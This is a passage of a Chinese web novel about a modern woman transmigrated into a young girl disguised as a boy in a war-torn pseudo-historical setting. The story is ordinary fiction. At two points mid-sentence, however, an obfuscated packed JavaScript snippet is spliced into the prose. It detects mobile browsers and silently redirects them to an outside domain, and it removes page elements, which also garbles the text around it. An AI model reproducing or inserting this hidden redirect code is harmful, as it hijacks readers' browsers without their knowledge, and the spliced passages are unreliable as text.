李氏死死凝视她，嘴唇发颤：“我的女儿呢？” “已逝。死因约莫是高热。”楚琛苦笑，“也可能更早——她走后，我才在这睁眼。” “她的死与我无关。我不认识她，不知这一切如何发生，也不明白为何如此。此地非我可选，更无选这的必要。” 李氏茫然退后，纵使心中早有答案，亲耳听闻，仍觉荒谬绝伦：“我的琛儿呢！？” “……节哀。”楚琛道，“若你愿意，我愿认你为母，竭我所能尽孝，满足你合理的要求。” “我只想要我女回来。” “信我，我根本不想来。”楚琛长长地叹出口气，“我年终奖才到手，位子下头一堆人虎视眈眈，我妈连支付码都不会设，我死了，她……” 不能再说了。再说下去，简直什么都不用干了。必须稳住李氏，又或者—— “眼下我倒不想自殺。要不，你殺了我？”楚琛问，“就用手掐，等我断气，你再搞心脏按压，看你女能不能回来。” 她向前，要去抓李氏的手，李氏两眼瞪着她，脚下却在退后。这个看起来比她更强壮的妇人，仿佛骤然被抽去筋骨，河畔薅人时的蛮力消失无踪，只是一昧闪躲。混乱间，屋外有人拍门： “小郎君？” “有事！莫吵！”楚琛厉声回应。李氏脚下踉跄，楚琛一把扶住，低声道：“既不动手，还望娘亲保密——” 啪！ 一记耳光。脸颊顿时火辣刺痛。李氏的手异常精准地抽完，恶狠狠啐出一口：“借尸还魂的恶鬼！你当我不敢？” “来！你来掐，但凡我挣扎反抗，叫我永生永世做个反指！”楚琛冷笑，“别以为我非得巴结你这个娘。我不需你庇护，也不需要求你什么。过了这会，我在这投入越来越大，再让我束手待毙，绝无可能。” “但你若愿意认我，我能给你很多好处。” 她们所在的屋舍原本不过是寻常百姓家，先前占据这屋的也只在墙角留了支孤零零的火把。半明半昧的光影中，李氏双眼依然锐利如钩，死死锁在楚琛脸上： “你能有什么好处？” “你看到地上的了，这是我现在的底气。”楚琛淡淡道，“我的能力不限于此。我很会算数，看得出账本里的缝补，记得些我老家的发明。而这些，全是我将来的底气。” “一旦洗白上岸，我计划从账目相关职业起步，未来寻求财经类或有数理要求的公务员岗位。用你们的话来说，大概是户部、工部和钦天监。” “无论谁家天下、谁坐江山，这三处永远缺不得人。有个为官的孩子，你的日子自会好过许多。我必倾尽所能，给你应有的体面和照应。” “哼，你是个贼，还想去当官人？” “我不会永远做义军。再说，义军是受恶霸所迫，这才无奈起事，从未有过背叛朝廷的心思，一个清汤大老爷就能打动。你是这儿人，当比我清楚，教化流寇，对那些当官的，是多大一份政绩。” “一群贼子，居然还妄想被贵人看上……” “乡镇县这级，不止存在贵官，还有的是想做贵官而无门的小官。” 李氏默然片刻，轻声道：“你是个女娘。” “哪怕是阴曹地府阎王殿，都有算生死簿的需求。” 李氏神情奇异，又沉默少顷，问：“那你往后……是嫁人，还是招赘？” 话题转得突兀。楚琛诧异：“我才十三。” “虚岁十三。琛儿十二，未满十三。”李氏纠正道。 “我的土地财产必须由我全权处置，子嗣必须承我姓氏，最好我夫要对我行礼。你们这叫什么？” “唯有招赘。” “你问这个，是想知道我是否愿延续你家血脉，是吧？” “你、你既占着我儿的皮囊……” “我知道。但女人要孩子不像男人，对个体健康损害极大。”楚琛冷静道，“我以为你会先问我如何进官场。” “你当官人家就不要香火了？” “也是。”楚琛点头，“那么，待我活过二十四岁，有一定地位钱财，卧推能破六十公斤，若天时地利，就招赘，或借种。未到不考虑，太容易死。” “何为……瓦推？” “卧推。一种衡量力气的方式。假设母体为树，子嗣是果，卧推之力越强，树便越壮实，结出的果子自然越好。” “可二十四，也太……” “若以果比喻你孙，你不想要它先天不足，是不是。” “自是如此。” “十二年光景，够我有所作为。我的地位越高，选择范围越广，未来子嗣的根基也越稳。就算我上进不成，你们这好像有武功？我这棵作为母体的树根基越深厚，也越对未来的果实有益， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203636|181264||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对么？” 沉默。 楚琛注视着李氏，李氏也凝视着她，神色间没多出催婚催育失败的怒气，却露出股像是怀念的东西：“你，能不能给我看眼……” “看哪？” “你的右胳膊弯，琛儿开蒙那年摔过一跤……留了疤。” “可以。” 反正话都说开了，李氏又是这具身体的生母，楚琛坦然卷起衣袖。 果然有一处伤疤，比小指的指甲盖略大，卧在关节褶皱间，正是孩童常磕碰之处。李氏怔怔望着，楚琛看着她的表情，看着周遭几乎吞噬一切的昏暗，莫名想起那一巴掌—— 李氏根本不夜盲！ “你不是我女儿。”李氏喃喃道，“我也不是你娘。” 妇人仿佛瞬间被抽干了生气，踉跄着向门口挪去。楚琛愕然失声：“你去哪里？” 李氏恍若未闻。 门开了。靠坐角落的钱二柱慌忙站起，奇道：“这是怎么了？哎，这是大娘子？你是去哪？小郎君，你怎么——” “拦住她！” “……啊？” 钱二柱傻愣愣地站在原地，倒正好挡住了去路。李氏只得停步。楚琛沉下脸，抬高声音：“娘，你当真不愿跟我走？” “你待如何？”李氏转过头问，“你有学识，你有心思，你有亲随，可我看着你，想的只是我那孩儿。” “她不如你，既不会说话，又粗手笨脚。她走了，还没走远。我要去找行走，给她备路上纸钱。” 楚琛张了张嘴，终是悻悻合上。李氏孤身一人，而自己手下尚有几人听用。她可以下令扣住李氏，再试试撒泼耍赖，试试软磨硬泡…… 但，就像李氏说的，自己终究不是对方真正的女儿，对方也无法将自己视为亲生骨肉，自己更非那等耐烦日日演戏之人……此刻硬认个娘，待这股情绪过去，对双方都是徒增尴尬。 没有意义。 天更黑了。义军手头并无太多照明用品，拿下莫家庄院后，也无人想着搜罗。远处几点残火飘在阡陌间，倒似乱坟岗的磷光，勉强映出两三条路的轮廓。 楚琛目送李氏的背影逐渐洇入夜色，心知这便是划清了界限——对方的世界，从此与她再无瓜葛。 该感到遗憾么？还是该说声放下？亦或干脆不死心地去追？ 事实上，心头一片空寂，并无半分波澜。这具身体的原主似乎已彻底消散，于是穿越者楚琛感到的，唯有预期落空的不悦—— 白挨一巴掌，少了个能掩护性别的重要人力。 甚至也不该叫预期落空。这更像一次失败的押注。如她这般的职业镰刀，投入了沟通成本，最终却未能收获预期的资产。现在，只能认赔止损，及时离场。 虽说下一场，依旧是未知之数…… “小郎君。”钱二柱觑着她的脸色，“你家大娘子……这就走了？” 楚琛回神，皱眉：“你想说什么？” 钱二柱挠挠头：“能进去不？” “在这说。” “也成。”钱二柱左右瞟了瞟，又上下打量她，憨笑道：“想不到哇，你竟是个女娃娃。” 14. 手下 有意思了。 楚琛的目光落在钱二柱身上，平静得像在看又一份待解决的活。 这个最早表示臣服、也确实在身边充过几回背景板的饥民，在知晓她真实性别之后，神情间那股一度被刀锋压下的掂量，又悄然浮上。 仿佛纪录片里嗅出首领伤残老迈的动物，开始盘算起是否有机会挑战，乃至取代。 而她既没残，也没老，头脑清醒，未来可期，甚至才给他们分过东西，仅仅不慎暴露了性别为女。 楚琛唇角极其细微地向上一牵： “你偷听？” 钱二柱心头一跳，慌忙辩解：“哪有，你和你娘吵架，动静老大，我还特意帮你支开了旁人！你这小娘子可不能……” “想好。”楚琛淡淡道，“该叫我郎君，还是别的。” 屋舍里火光昏昏，隐约映亮她的轮廓。 那张脸上的表情似乎没什么变化，声音依旧是那把大火燎过般的、与少年郎无异的哑，但那双眼睛深处…… ……有什么无形的蛰伏着，苏醒了。绝非这年纪的少年能有，更与闺阁小娘子毫不相干！ 钱二柱后颈寒毛倒竖，终于想起，不管眼前这人是男是女、是妖是鬼，都是个抬手就能杀人的主！自己一时口快，恐怕已激出杀心…… 但，这样才对！ 唯有这般反应，才真是个能带记忆夺舍皮囊的魔头，能自如使出先前那套行事手腕！哪怕一时做不了官，迟早也必是一方豪强！自己此刻站定了队，未来岂不是一等一的元老亲信，这前程，岂是嚷嚷出一个小娘子能比的？！ 狂喜瞬间冲散恐惧，钱二柱心潮澎湃，本能地躬下身，点头哈腰道： “郎君！自然是郎君！天塌了你也是我的郎君！” “你听到了什么？”楚琛的声音依旧平淡。 钱二柱飞快觑她一眼，小退半步，赔笑道：“没……没什么！就听见屋里吵，过来瞧瞧，刚巧听见你、您家大娘子，呃，就是被那个谁揍……” “大娘子是什么称呼？” “喊主家主母都是这个喊法，要是郎君不愿认她……” “她终究是我生母。”楚琛平稳道，“你接着说。” “是！是！后来有人往这边来，我赶紧过去哄走了……” “谁过来了？” “是那嵠人，我见着他像是要闯进屋里的样子，就赶紧——” “只有范阿四？”楚琛打断，“其他人呢？” “就他一个！孙顺帮阿牙打水去了，没见着旁人……” “行了。”楚琛的视线漠然掠过他的脸，“跟我说说，此地何处、今夕何年？又是哪朝哪代？” 钱二柱脊背顿时绷直：“你、郎君，你果真是投胎转世——啊，是夺舍而来的？” 楚琛一言不发，只静静注视钱二柱。看着这乡民跟被抽了骨头似的整个人都缩矮了几分，一阵无语。 还挺省事。原本想着又得动次刀子，结果这夺舍说法倒还好用？ “我问，你答。”楚琛道，“不该说的，咽回去。做得好，往后少不了你的好处。但若想卖我……” 楚琛刻意一顿。 钱二柱头皮发麻，仿佛能听到自己血液冻结的声音。 “你知道，”楚琛缓缓吐出后半句，“我是如何站到了今天。” “是、是是是！小的明白！该当如此！”钱二柱恨不得立即叩首：“小的愿为郎君做牛做马……” “废话少说。答我的问题。此乃何地何时？” “哎、哎……这里是清风镇，郎君晓得的。现下归大朔管，年号政通，今年是政通五年……都这光景了也不怕说，这五年通的是个屁政！” “大朔怎么来的？” “啊？这、这个……听老辈人说，约莫是从北边，从西楼城那杀过来的？听老辈人说，当年铁骑过处……” “大朔之前呢？哪朝？距今多久？” “李家的大雍朝？那得是几百年前的老黄历了……” 李姓，但雍朝？楚琛神色一凝：“哪个李家？陇西李家？” “我哪知道啊郎君，这你得寻个弄笔杆子的问哇……” 这话倒也在理。正因为有道理，楚琛更没好气：“你以前做什么的？” “赶车的！小的从前是车夫，给辽州张家赶车！结果年景不好，朝廷又连吃败仗，素慎的骑兵破关杀进来，抢了东家的车马，要锁我去做奴隶。” “我连夜逃了，想回去找东家那认错，再讨口饭吃，哪知道东家他也投了素慎……” 钱二柱竹筒倒豆子般把过往和记得的都说了出来，急于证明自己的价值。而从这颠三倒四、掺杂过多个人怨愤的叙述里，楚琛脑海中，一点点拼凑出那场席卷天下的烽烟轮廓： 数百年前，旧王朝崩塌，新帝国未立，几个游牧部族以狼血为墨，在素缯大纛上涂抹盟约，自西楼城策马而出，逐一撕碎、吞并盘踞北方的势力，拼凑出一个新政权的雏形。 朔，北方也，始也，他们以此为国号，示新纪元之始。可是，在这新生的大朔南下继承疆域时，南方的赵国也恰好从战火中淬炼成型。 两股铁流轰然对撞，几番惨烈鏖战，却难分胜负。最终，双方各自退后一步，舔舐伤口，将贪婪的目光沉入阴影，静待下一次撕咬的时机。 这一对峙，便是百年光阴。 赵国情势暂且不明，大朔却已深陷泥潭：旱灾，权斗，君王不思治国，到处打猎，东境还被素慎的骨箭射成了筛网——这也是个零散部落的聚合体，世代敬献贡品，某年正月悍然反噬。截至目前，大朔半壁东面已被敲进手里。 总而言之，这背景配置……听着耳熟得很。 但具体到哪耳熟…… 楚琛努力在记忆打捞片刻，果断放弃。 与其费力拼凑似是而非的碎片，不如直接视作彻头彻尾的架空。 坏消息：没法抄答案了。 好消息：好歹还是人的世界。人性终归相通。 譬如大朔与素慎的崛起，不约而同选择了部族盟约。这便意味着……核心部族人口稀少，必须依靠外力。 此刻的素慎，正如吞下了整头羊的巨蛇，臃肿地盘踞在刚掠夺的土地上，需要漫长的时间消化；而大朔的朝堂之上，主战与主和的咆哮，想必也已将殿堂煮成一锅翻滚肉汤。 新旧交替，巨兽因饱食或伤痛而暂时蛰伏。 这正是相对安全的空隙。 而巨兽相争时无意间抖落的碎屑，足够蝼蚁构筑起自己小小的堡垒。 …… “阿郎。”一道陌生而怯生生的女声响起，“水……烧好了。” 娄旦送来的侍女阿牙，捧着一瓢热水，竟还搭了半块粗布。钱二柱的滔滔不绝戛然而止，瞪眼道：“你喊我家郎君什么？” 少女被他一吓，瑟缩了一下：“阿……阿郎？” “不必理他。”楚琛的声音平稳地切进来，“先前事忙，一直忘了问。你想不想换回从前的名姓？” “……我？”少女茫然望回，“我，我不知道……” 一旁的钱二柱嗤地一笑：“怎的，连祖宗传下的姓都忘了，还想跟着郎君姓啊？” 哐地一响，少女抱着水瓢直直跪下，水花四溅：“求阿郎赐名。” 钱二柱瞠目结舌。自从知晓楚琛乃夺舍而来，又受了几句训斥兼提问，他已将自己视作楚琛的一等心腹。岂料这不起眼的小婢子，竟借着他一句奚落，直接上演如此一出！ 这攀附捷径，怎么自己就没想到？ 不过，夺舍的魔头夺的是个女身，眼前这婢子，注定爬不上床榻，吹不了枕边风！ 但，那股被抢了先机的吃亏感依然挥之不去。钱二柱索性跟着跪下，觍着脸道： “郎君！小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203637|181264||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的这名二柱也不好，上不得台面！郎君帮我也重起一个。” “——这是怎么了？” 又有人来。这次是两个。秃头双辫的范阿四在前，孙顺紧随其后。范阿四刚问出口，目光一扫，立刻指着钱二柱嚷嚷起来： “小郎君！就是这老二假传你令，诓俺去偏房找锅！俺翻了个底朝天——” “一会再到你。”楚琛平稳地截断他，目光俯视着地上的钱二柱，“从今往后，你就叫钱忠。管好你的嘴。” 范阿四一怔，心道这楚小郎君好重的手段，怎么几句玩笑，竟夺了人的名讳？却见那已改做钱忠的汉家叫花子喜形于色，咚咚磕头： “谢郎君赐名！小的钱忠，此生对郎君忠贞不贰！若有背叛，天打雷劈——” “够了。”楚琛听得不耐，干脆转向少女阿牙：“此地清风，风中有岚，岚依山而不去。你叫清岚，从此名字随你，不随人。愿意么？” “清岚谢过阿郎。” 新出炉的清岚也磕头。楚琛不再看他们，视线转向新来的两个。 “有事？” “没、没啥大事……”范阿四干笑两声，“就是告这钱二柱诓俺……” 钱忠偷眼觑了下楚琛，挺直腰板反驳：“我姓钱名忠！郎君亲赐的忠字！那老钱家的二柱子骗你，关我钱忠屁事？” “小郎君你看这……”范阿四指着钱忠。 “……”楚琛决定无视这俩弱智。“孙顺。你说。” 孙顺谨慎地左右看了看，往前挪了半步，低头小声道：“郎君，我去捡柴，见到娄郎君那边……” 他忽然住了口。范阿四诧道：“那边咋了？” “范阿四。”楚琛忽然开口，眉毛抬起，“你是跟着我，还是跟着曾郎君？” 这发型独特、被钱忠称作嵠人的范阿四满脸莫名其妙：“是那曾放叫俺跟着你，帮你接你娘……” “现在事已了结，我也分了你应得的那份。”楚琛淡淡道，“现在，你可以去找曾郎君复命了。” “哎？可你娘她……” “我妹妹走了。我娘去了行走那烧纸。” “……啊？哦，那你节哀。俺过去了。”范阿四懵头懵脑地应了一句，转身欲走。没两步突又转回，站定了，定定地盯着她：“你这人，怎地一点哀都无？莫不是也在诓俺？” 这话可不好听。楚琛微微一笑：“那我换个问法。若我和曾郎君同时掉河里，你救哪个？” “这鬼地方离河远着哩……哦！”范阿四猛眨几下眼，终于咂摸出味来：“你要俺的刀子，是吧。” “我要你听我的令。” “好说哇！”范阿四答得干脆，“小郎君给俺多少月钱？” “你看。”楚琛摊开双手，“刚入手的铜钱早分完了，你亲眼所见。我哪来的月钱给你？” “也是……”范阿四挠了挠脑袋，忽然咧嘴一笑，“不过你这小郎，瞧着是比那曾放像个人物！行，月钱先欠着，俺跟你了！” 他说完，左手伸向腰间，那里挂了把不知从哪捡的柴刀。外观并不锐利，但沾了必定破伤风概率大增。楚琛心头微凛，却见范阿四两膝一弯，倒是托着柴刀给她跪下了。 “接他刀，郎君。”钱忠小声提醒，“接过来再递还给他！” “你是嵠人俺是嵠人？”范阿四不满地嚷嚷，“郎君，接了俺的刀，得用刀背压一压俺的脑门！” “嘿，郎君就该顺手劈了你。” “闭嘴。”楚琛低斥一句，依言行动：“是竖还是平？” “压俺一下就成了郎君……压完刀子还俺。”范阿四迫不及待。仪式完成，他一骨碌爬起，瞄向孙顺： “眼下都是一路人了！孙家的，你能说了？” 孙顺望眼楚琛，见楚琛点头，便道： “我看娄郎君那边……像是在收拾东西，怕是要连夜走了！” 15. 槐县 娄旦跑什么跑？还连夜跑？ 楚琛眉头皱紧。此时此地终究不是后世——有灯，有车，有高速公路，有完善的公共交通系统，当整个国家进入夜半球，还有太空都能见着的煌煌灯火与黑暗相峙。 此刻，夜晚就是夜晚，天如盖毯，远山隐没于黑暗，近处的树木仿佛浸透浓墨。想来野生动物出没率同样很高。要她是娄旦，怎么着也得熬到次日黎明再动身。 可孙顺同样没理由诈她…… 楚琛正思索着，清岚矮身要走，被钱忠一把拽住：“你去做甚？报信哇？” “没有，没有！”女孩子被吓一跳，“热水洒了……” 这一打岔，楚琛顿时记起索要热水的初衷——不全是支开他们。而是自家赶路蹭的泥灰，混战中溅的血，动作时出的汗，再加上身上不知累积了多少时日的污垢……俨然正在发酵。 也不知何时能洗个澡。 “水给我。” 楚琛勉强对清岚道，又朝另三个手下摆手：“你们几个，去收拾利索，完事回来等我。” 不等回应，她转身再度进屋，终于有空闲好好打量。 不知是谁家的厢房，也不知谁插的火把，昏黄的光照亮灰扑扑的墙壁、散乱的稻草，以及地上一个不知何用的破瓦盆。楚琛探手一抹，抹了一指头灰黑。 “阿郎要生火？”清岚问。 原来是个火盆。楚琛恍然。“不必了……把瓢给我。走几步，对着空地走，朝我这边走。” 清岚不解地望她一眼，依言照做。楚琛紧盯着她，趁机飞快地擦了擦鼻子和嘴。其他的只能暂且忍耐。这身污秽，像极了看不见时悄然蛰伏的蟑螂，一旦察觉…… 清岚走近来：“奴帮阿郎。” “不必。”楚琛深吸一口气，“一会还要赶路。你晚上吃东西了么？” “托阿郎的福，五郎君赏了奴半块饼……” “替我做事，自称‘我’字即可。”楚琛打断她，“多大年纪了？” “十四了……” 楚琛：“……？” 楚琛悄悄站直一瞥，目光扫过清岚的头顶。少女发丝干枯，草草绾成双髻，发缝清晰可见。 大约是营养不良。这个十四岁的，身量单薄得仿佛未满十岁；那个自称二十八的钱忠，看上去倒像四十出头。 “家里以前做什么的？” “在山里烧炭……后来村里乱了……” “又是素慎人？” “不是。”清岚低着头，没什么表情，“爹娘把我卖了……” “头抬起来。有件私事……能信你么？” 清岚微微一怔，随即垂眼又要跪。楚琛及时托住她：“算了。晚点再说。你的工钱……也晚点。” 楚琛边说边暗自唾弃自己。哄那几个成年劳力，好歹是分过东西；如今使唤起这未成年的保姆，竟还拖欠工钱。她再擦过脖子和手，努力克制着不拿布抹脸。 “我头顶上歪没歪？” “正的。” “出去吧。” 三个给过钱的壮劳力早在那等了。楚琛问：“离清风镇最近的县城叫什么？要走多久？” “叫槐县，郎君。”钱忠抢着答道，“白日里脚程快些，两个时辰……夜里，小的不知道。” “你不知道？” “我晚上没走过哇……” “……我确认一遍，路上有无猛兽，盗匪？” “小郎君，”这回范阿四抢在钱忠前头，眼神古怪，“这光景，哪还有猛兽敢来？不怕被人吃了？” “郎君问我的话，你插什么嘴？”钱忠愤然道。 “你又来争个什么？小郎君不就是想走夜路么？”范阿四嗤笑，掰着指头数，“猛兽？不敢来。盗匪嘛……咱们就是啊？” “你才是盗匪……” “都闭嘴！”楚琛忍无可忍地骂出一句。“你们三个，排好队，从这头走到那头去。” 孙顺问：“我也要走？” “郎君要你走，你就走呗。”钱忠嘲道，随即转向楚琛，谄媚地迈步，“郎君您瞧，小的在走啊。” “……”楚琛再度深吸一口气，强迫自己把注意力集中在这三个男性手下的步态上。 新躯壳才十二出头，身高却已追平钱忠，高出清岚一个头。若无意外，将来必能长得很高，这将是女扮男装的有利条件。至于面容，尚可靠晒黑和妆容遮掩。只是男女骨架终究有别，步态上的细微差异，现在就得开始留意。 不过留意的方式…… 楚琛悄悄凝神，试图启用那点神奇的延时能力。半秒不到，头颅深处一阵针刺剧痛，刺得她按着太阳穴一阵龇牙咧嘴。清岚奇道：“阿郎？” “没事。”楚琛若无其事地放下手，老老实实思索情势。 走，还是留？ 走：体力刚补足，干粮碎银在怀，手下三四个，且暂无更高利益驱动背叛——曾放绝计料不到自己现在就动身。路上野兽早被逃荒人群吃光或吓跑，安全系数大增。 只是，此地的一时辰若也如前世般等于两小时，去槐县便是四小时漆黑跋涉。 何况古代必有城防。半夜流民带着流民，正常手段进不了门。 但留呢？ 今夜或可侥幸无事。但这数千人既已尝到抢劫甜头，未来显而易见地也是抢劫，抢劫，再抢劫。直到内讧崩解，踢到铁板，或引来官兵围剿。 然后……李氏。 她为李氏而来，也救了李氏，却将这层关系推至尴尬绝境——这位甚至跑回了那群信教的那。 女扮男装，最可信任的本该是母亲。现在，这个母亲不愿是她的母亲。 按理说，李氏不会多嘴。 怕就怕万一。 几声哀哭，几句无心絮叨……甚至一次试探性的套话，这副“郎君”皮囊只要破个口子，就得再次挥刀杀人了。 但真再动手，自己一没神功二没空间，手下普通人三四个，唯一的疑似外挂用得太狠，还在冷却期。 留，是坐视风险慢慢发酵；走，所有风险便与己无关。 娄旦有护卫队，又能与那伙信教的站在一起，尚且连夜跑路，这已是明晃晃的示警信号。 “义军”这支票的涨势已到顶，再往后，赚头容易被风险吞掉。 第一口肉已咽下，足够支撑奔赴下一程—— 正该获利了结！ “去槐县。”楚琛声音斩落，不容半分迟疑，“现在就走。谁走不了远路？” 没谁反对。也没谁提出其他意见。 “能拿的，拿上。走！” …… 稍晚。 距清风镇数里。槐县城外。 一辆马车缓缓停在护城河边，车帘掀开，一只属于中年男人的手探了出来。 男人约莫三十出头，一身淡色圆领布袍，一顶嵌革边的黑纱小帽，一把恰到喉结的山羊胡，数缕细辫自耳后垂落，搭至前襟。踩着仆役放好的马凳，他刚落地，一名披散半边头发的少女便几乎同时跳下车，紧跟着的是一位头缠珠串的妇人。 两个女人迅速拦在他前方。 “爹，头发！”少女伸手去够他的辫梢，“还没编完呢。” “领子，”妇人伸手去理他的领口，“官人，领子歪了。” 中年人瞪了她们一眼：“都回车上去！怀瑾，扶好你娘。” 话音未落，一名男装跨弓的少女已策马趋近，闻言，好奇问道：“阿爹，我也要进去吗？” 中年人没好气地瞥她：“怎的，我让你进去，你真进去？” 少女撇撇嘴，拨转马头，自行往马车后方去了。中年人不再言语，兀自从车底抽出把带鞘长刀，又从仆役手里接过火把，大步向护城河走去。 河上有桥，桥边也横三竖四地躺了不少人，多数面带菜色，少数形如骷髅。中年人视线扫过，拔刀在手，步伐不乱。直至城门之下，他还刀入鞘，一声大吼： “开门！” 命令撞上城门。城楼垛口处火炬兀自明亮，除此之外一片死寂。 中年人闭目凝听片刻，再睁眼时，已改作契丹语： 【开城门！】 这一次，城楼上终于冒出几个脑袋。原来这些守门的隶卒并非不在，只是窝在墙后刻意不理。几个门卒交头接耳一阵，其中一个探出头，也用契丹语应声： 【这位贵人，县尊的，绕道，呃，嗯……命令，勿科进。】 他的契丹语说得颠三倒四，双脚却牢牢钉在原地，明显拒绝挪出一步。中年人轻叹一声，【该说‘不可入’。】他小声嘀咕了一句正确发音，旋即换回汉语厉喝： “速报县令张渥！来者郑弦余！三更前若不见城门洞开，某只好顺路南下，往御前告状去了！” 披辫佩刀的，通常和契丹人有点关系。而槐县县令确实姓张名渥，眼前这个自称郑弦余的，虽是一副汉人面孔，却一身胡装，一口流利契丹语，身后还跟着浩荡车马，更是直言朝廷……门卒叉过手，急急忙忙跑下城楼。郑弦余这才转身，朝护城河外车马示意。 不多时，城楼上现出个束发戴冠的文士。他举着火，伸长脖子，往门下一探，顿时嗤笑： 【我道是谁，这不是跑去东边当野人的郑郎么？披发左衽地回来，是要换个祖宗？】 郑弦余浑不在意：【昌寿年殿试，御前答策的可都是这副打扮。】 张渥一噎，恼羞成怒道：【信不信本官即刻锁了你这南院林牙！？】 “哈。”郑弦余笑起来，以眼神示意张渥周围：【下令之后，你说他们听得懂，还是听不懂？】 张渥左右看看，见门卒果然茫然看回，不禁恨恨一拂袖，换回汉话： “开门，放这厮进城。” 他边下令，边往城下去，亲自站到了城门边。很快，郑家的仆役驱赶着马车鱼贯而入。 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“好一个少动少错。”郑弦余叹道。“张兄可曾留意，县外聚集的饥民……是越来越少了？” 张渥眉头倏地紧锁：“贤弟是说……有人聚众？” 郑弦余缓缓点头。 “不瞒张兄，愚弟原以为，城外饥民当有如今百倍之数。可如今，愚弟进城，既无人拦阻，亦无人意图混入。” 他向前一步，双眼微眯，语声轻缓： “依愚弟所见，数日之内，必有大乱。此乱必起于无墙可恃之地……槐县相邻数镇，兄宜早作准备。” 郑弦余面上一派轻描淡写，心底却远非如此平静。 他与张渥乃是多年好友，更是同年赶考。只是命运弄人，他金榜题名，得以北上金銮；张渥落第，只得捐纳银两，谋了个中县的县令，任上政声颇佳，又得家族襄助，去岁初春被调任槐县。 大朔县制承袭前朝，依户口多寡分出七等，数字越小，地位越重。张渥此番调任，是由六等的中县升至槐县——一个濒临四等紧县的五等上县。若在太平年月，这算得上不小的擢升。奈何槐县位置有些靠边，近年大朔边事颓靡，前线在肃慎兵锋下一退再退，兴许再过些日子，就要退到槐县了。 但那毕竟还有些日子！ 郑弦余凝视张渥，看着友人染上些许风霜的脸。正值凉夜，风吹过街道，携来极淡的灶火气。在这人间烟火之中，县令张渥半脸浸在城头火把的暖光里，竟渐渐笑起来。 “恒之，你糊涂了。”张渥重新笼起手。“愚兄不过一介汉官。汉官能打算的，唯有钱谷水利，不涉北面事。” 恒之是郑弦余的表字。张渥这时唤他的字，显然不是想叙更多旧情。郑弦余面不改色，一把攥住张渥的手臂，也笑道： “巧了，饥民成军，不过乌合之众，所求所图，也不过几日口粮、几亩薄田，正是钱谷水利……张兄究竟是不能管，还是不愿管？” 张渥冷笑着掰开他的指头。 “不想如何，不愿又如何？大朔败了。” 郑弦余一顿。 张渥犹嫌不足，淡淡续道：“先前那些边角之地，丢了也就丢了。虎步冈呢？八十万大军被区区两万素慎追亡逐北……这天下，谁人不在为自家寻条生路？不然，贤弟何以至此？” 郑弦余默然片刻，咕哝道：“哪来的八十万。民夫乡丁奴隶统统算上，勉强十五六万。” 张渥被他一噎，瞪眼看了他半晌，终是长叹一声，面色晦暗不明：“若当时……若当时能上书，截下一批军粮……” “上不上书……其实没所谓。”郑弦余移开目光，“久旱不雨，又做不得假。圣意原是……以战养民，待肃慎财货尽入囊中，再取道南朝购粮。” 张渥满面惊诧：“此话当真？” “千真万确。”郑弦余叹气，“愚弟……有些消息。” “荒唐！”张渥连声冷笑，“单说这粮道——从大朔往南朝，快马去，海舶回，半月一月之期，灾民还能剩下几成？那些熬过来的活口，可还愿奉大朔为主？” 郑弦余苦笑：“不然，张兄以为，我缘何来此踏青。” 夜色更深，城门边杳无人迹。两人无言对视，均有些萧瑟之感，残存谈兴，也随夜风消散殆尽。郑弦余辞别张渥，独自缓步登上城墙。 槐县之名，源于一株前朝古槐。相传乃前代女主代雍之年所植。四百载光阴荏苒，昔日那株风催可折的纤细树苗，已是一株虬根盘错、苍然横卧的老树。 而昔日那个威震四夷的王朝，也早已分崩离析：南面几经更迭，终成赵氏南朝，北疆则在胡尘中辗转浮沉。至今日，又一轮铁蹄烽烟，已然迫近眉睫—— 郑弦余忽然用力眨眼，死死盯向城外那片吞噬一切的浓稠黑暗。 不对。 他分明该是今夜最后入城之人……为何此刻，远方又有人至？ 16. 城头 楚琛喜欢游戏里的古代。 在那里，装备永不丢失，衣物洁净如新，食物药剂的口感与己无关，角色的疲劳值锁在屏幕之内。任务目标清晰列于面板，呼出菜单就能将各NPC各势力的信息尽收眼底。 最重要的是，只有不愿走捷径的玩家，没有混不进的关隘。 槐县城墙已在眼前，不算很高，在零星几点火炬的映衬下像条灰扑扑的长虫。而长虫外围，贴着护城河，又依稀起着些低矮民房，恰似这条长虫探出的触须。 现在，他们停在触须之外。 “郎君，槐县到咧！”钱忠大大咧咧一扬手，“寻个背风地窝到鸡鸣，这趟辛苦就算熬过去啦！” 楚琛皱眉四顾，只顾得泥地，杂草和野林：“靠什么歇？” 钱忠莫名其妙：“就这么歇？” “我想进城。” “那我没辙。” “你自去歇着。”范阿四嗤笑一声，“我跟着郎君。” “我也跟着郎君。”孙顺立刻接道。 清岚没说话，脚下倒悄然向楚琛挪近几步。钱忠瞬间被孤立出来，愤然道：“郎君你看这——” “行了。”楚琛冷静道，“我若能进，不会漏你。进去之前，我有话说。可有想另走的？” 无人应答。即使有，也无人表露。楚琛目光逐一扫过四张面孔，平缓道：“那么，从此刻起：清岚为使女，钱忠为车夫，范阿四为护卫，孙顺为管事。诸位不负我，我亦不负诸位。” 言毕，她双手交叉，郑重一礼。 四人俱是一怔。随后，叉手的、抚胸的、矮身的，并着一堆客套话，乱七八糟地回了礼。主仆名分既已确切定下，楚琛目光再次投向城头阴影，转向范阿四： “先前你和那地母护法说的，是哪地言语？” “呃？就是契丹话。” “槐县有没有契丹人做官？” 